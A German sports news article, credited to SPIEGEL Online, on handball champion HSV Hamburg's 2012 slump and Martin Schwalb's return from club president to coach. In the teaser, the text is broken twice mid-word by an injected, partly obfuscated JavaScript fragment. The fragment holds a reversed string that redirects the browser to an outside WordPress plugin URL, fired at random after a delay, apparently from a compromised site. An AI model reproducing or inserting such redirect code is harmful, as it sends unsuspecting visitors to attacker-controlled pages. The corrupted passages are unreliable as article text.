Woche 11/2012: HSV – Eine Krise mit Ansage
Kein Mut, kein Plan, kein Erfolg: Dem deutschen Handball-Meister droht eine bittere Saison. Um den Absturz des HSV Hamburg zu stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toppen, kehrt Martin Schwalb auf die Trainerbank zurück. Der große Motivatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor soll das Team vor allem psychisch wieder auf Kurs bringen.
Lange hatte er sich gesträubt gegen die Aufgabe. Trainer des HSV Hamburg, dieses Kapitel war für Martin Schwalb am 5. Juni vergangenen Jahres abgeschlossen. Damals präsentierte er mit seinem Team die Meisterschale auf dem Rathausbalkon der Hansestadt. Der Handball-Club war auf dem Höhepunkt und Schwalb trat als Trainer ab. 285 Tage später ist er wieder HSV-Coach.
Es ist der vergangene Freitag, Schwalb sitzt vor rund einem Dutzend Journalisten und erklärt, warum er nun doch wieder den Präsidentenstuhl gegen die Trainerbank getauscht hat. Der 48-Jährige benutzt dabei häufig das Wort Sicherheit, und es wird im Laufe des Gesprächs deutlich, dass Schwalb in den kommenden Wochen weniger als Trainer sondern vielmehr als Psychologe gefordert sein wird. „Ich werde versuchen, ein Stück Gemeinschaft in die Truppe zu bringen“, sagt Schwalb, der erstmals am Sonntag beim Achtelfinal-Hinspiel in der Champions League bei den Füchsen Berlin (16 Uhr) wieder als Hauptverantwortlicher auf der Bank sitzt.
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(Quellen: Text: SPIEGEL Online, Bild: www.hsvhandball.com)